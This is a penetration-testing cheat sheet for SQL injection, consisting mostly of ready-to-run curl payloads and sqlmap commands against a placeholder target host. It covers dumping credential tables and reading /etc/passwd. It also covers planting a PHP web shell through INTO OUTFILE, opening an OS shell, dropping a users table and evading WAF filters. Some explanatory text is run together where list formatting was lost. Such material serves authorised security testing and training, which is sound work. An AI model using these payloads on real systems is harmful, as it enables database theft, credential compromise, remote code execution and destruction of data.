SQL injection penetration testing guide covering union-based, boolean-based, time-based, and error-based SQL injection techniques using SQLMap and manual methods to exploit database vulnerabilities and extract sensitive data during security assessments.
SQL Injection (SQLi) occurs when user input is improperly sanitized and directly concatenated into SQL queries, allowing attackers to manipulate database queries, extract sensitive data, and potentially execute system commands.
Common injection points:
?id=1&user=adminUser-Agent, X-Forwarded-For, CookieManual identification:
# Test URL parameters
curl "http://$RHOST/page?id=1'"
curl "http://$RHOST/page?id=1\""
curl "http://$RHOST/page?id=1--"
# Test POST data
curl -X POST "http://$RHOST/login" -d "user=admin'&pass=test"
What to look for in responses:
SQL error messages - Indicates injection point and database type:
You have an error in your SQL syntaxsyntax error at or nearUnclosed quotation markORA-00933: SQL command not properly endedBehavior differences - Compare responses between:
HTTP status codes - 500 errors may indicate SQL errors (check response body)
Next steps if errors detected:
SQLMap basic test:
sqlmap -u "http://$RHOST/page?id=1"
sqlmap -u "http://$RHOST/page?id=1" --batch --crawl=2
POST request testing:
sqlmap -u "http://$RHOST/login" --data="user=admin&pass=test"
sqlmap -u "http://$RHOST/login" --data="user=admin&pass=test" -p user
Cookie-based testing:
sqlmap -u "http://$RHOST/page" --cookie="session=abc123"
Burp Suite integration:
# Save request from Burp to file
sqlmap -r request.txt
Manual version detection:
# MySQL
curl "http://$RHOST/page?id=1' UNION SELECT @@version--"
# PostgreSQL
curl "http://$RHOST/page?id=1' UNION SELECT version()--"
# MSSQL
curl "http://$RHOST/page?id=1' UNION SELECT @@version--"
# Oracle
curl "http://$RHOST/page?id=1' UNION SELECT banner FROM v$version--"
SQLMap database detection:
sqlmap -u "http://$RHOST/page?id=1" --dbs
sqlmap -u "http://$RHOST/page?id=1" --banner
sqlmap -u "http://$RHOST/page?id=1" --current-db
sqlmap -u "http://$RHOST/page?id=1" --current-user
What to look for in SQLMap output:
[INFO] the back-end DBMS is [database type] - Database identified[INFO] retrieved: [version] - Database version discoveredavailable databases - Enumeration successfulNext steps after database identification:
List databases:
sqlmap -u "http://$RHOST/page?id=1" --dbs
List tables:
sqlmap -u "http://$RHOST/page?id=1" -D database_name --tables
List columns:
sqlmap -u "http://$RHOST/page?id=1" -D database_name -T table_name --columns
Dump table data:
sqlmap -u "http://$RHOST/page?id=1" -D database_name -T table_name --dump
Dump specific columns:
sqlmap -u "http://$RHOST/page?id=1" -D database_name -T table_name -C username,password --dump
Boolean-based blind SQLi:
# True condition
curl "http://$RHOST/page?id=1' AND 1=1--"
# False condition
curl "http://$RHOST/page?id=1' AND 1=2--"
What to look for in responses:
Content differences - Compare response length and content between true/false conditions:
-w %{size_download} to measure response size differencesResponse patterns - Look for:
Next steps if boolean-based injection confirmed:
--technique=B for automated extractionTime-based blind SQLi:
# MySQL
curl "http://$RHOST/page?id=1' AND SLEEP(5)--"
# PostgreSQL
curl "http://$RHOST/page?id=1' AND pg_sleep(5)--"
# MSSQL
curl "http://$RHOST/page?id=1' AND WAITFOR DELAY '00:00:05'--"
What to look for in responses:
Response time - Measure with time curl or curl -w '@-':
Consistent delays - True conditions delay consistently, false conditions respond immediately
Next steps if time-based injection confirmed:
--technique=T for automated extraction (slower but reliable)Union-based SQLi:
# Find number of columns
curl "http://$RHOST/page?id=1' ORDER BY 1--"
curl "http://$RHOST/page?id=1' ORDER BY 2--"
# ... continue until error
# Union injection
curl "http://$RHOST/page?id=1' UNION SELECT NULL,NULL,NULL--"
curl "http://$RHOST/page?id=-1' UNION SELECT 1,2,3--"
What to look for in responses:
ORDER BY test - Continue incrementing until error:
UNION test - Look for:
Negative ID trick - Use -1 or invalid ID to hide original query results, showing only UNION data
Next steps if UNION-based injection confirmed:
--technique=U for faster extractionError-based SQLi:
# MySQL
curl "http://$RHOST/page?id=1' AND extractvalue(1,concat(0x7e,(SELECT @@version),0x7e))--"
# PostgreSQL
curl "http://$RHOST/page?id=1' AND cast((SELECT version()) as int)--"
SQLMap comprehensive test:
sqlmap -u "http://$RHOST/page?id=1" --technique=BEUST
B = Boolean-based blindE = Error-basedU = Union-basedS = Stacked queriesT = Time-based blindExtract all databases:
sqlmap -u "http://$RHOST/page?id=1" --dbs --batch
Extract database schema:
sqlmap -u "http://$RHOST/page?id=1" -D database_name --schema
Extract user credentials:
sqlmap -u "http://$RHOST/page?id=1" -D database_name -T users -C username,password --dump
What to look for in SQLMap dump:
Next steps after credential extraction:
Custom query execution:
sqlmap -u "http://$RHOST/page?id=1" --sql-query="SELECT user()"
sqlmap -u "http://$RHOST/page?id=1" --sql-shell
What to look for in query output:
Next steps after query execution:
SELECT user(),super_priv FROM mysql.userRead files (MySQL):
sqlmap -u "http://$RHOST/page?id=1" --file-read="/etc/passwd"
Write files (MySQL):
sqlmap -u "http://$RHOST/page?id=1" --file-write="/path/to/shell.php" --file-dest="/var/www/shell.php"
Manual file read:
curl "http://$RHOST/page?id=1' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--"
SQLMap OS shell:
sqlmap -u "http://$RHOST/page?id=1" --os-shell
sqlmap -u "http://$RHOST/page?id=1" --os-cmd="whoami"
Manual command execution (MySQL):
# Requires FILE privilege
curl "http://$RHOST/page?id=1' UNION SELECT NULL,'<?php system(\$_GET[cmd]); ?>',NULL INTO OUTFILE '/var/www/shell.php'--"
Note: Command execution requires specific database privileges (FILE in MySQL, COPY in PostgreSQL). Always check privileges before attempting.
Second-order SQLi:
# Submit payload that gets stored and executed later
sqlmap -u "http://$RHOST/register" --data="username=admin'--&email=test@test.com"
Stacked queries:
# MSSQL, PostgreSQL (if supported)
curl "http://$RHOST/page?id=1'; DROP TABLE users--"
SQLMap with custom tamper scripts:
sqlmap -u "http://$RHOST/page?id=1" --tamper=space2comment,charencode
Bypass WAF filters:
# URL encoding
curl "http://$RHOST/page?id=1%27%20UNION%20SELECT%201--"
# Double URL encoding
curl "http://$RHOST/page?id=1%2527%2520UNION--"
# Case variation
curl "http://$RHOST/page?id=1' UnIoN SeLeCt 1--"
# Comments
curl "http://$RHOST/page?id=1'/**/UNION/**/SELECT/**/1--"
Basic usage:
sqlmap -u "http://$RHOST/page?id=1" --batch
Comprehensive scan:
sqlmap -u "http://$RHOST/page?id=1" --batch --crawl=2 --forms --dump-all
With proxy (Burp):
sqlmap -u "http://$RHOST/page?id=1" --proxy="http://127.0.0.1:8080"
Batch mode (no prompts):
sqlmap -u "http://$RHOST/page?id=1" --batch --level=5 --risk=3
Custom user agent:
sqlmap -u "http://$RHOST/page?id=1" --user-agent="Mozilla/5.0"
MongoDB injection:
nosqlmap -u http://$RHOST -m GET
POST request:
nosqlmap -u http://$RHOST/login -m POST -d '{"user":"admin","pass":"test"}'
Basic injection test:
curl "http://$RHOST/page?id=1'" -v
curl "http://$RHOST/page?id=1\"" -v
curl "http://$RHOST/page?id=1--" -v
POST injection:
curl -X POST "http://$RHOST/login" -d "user=admin'--&pass=test" -v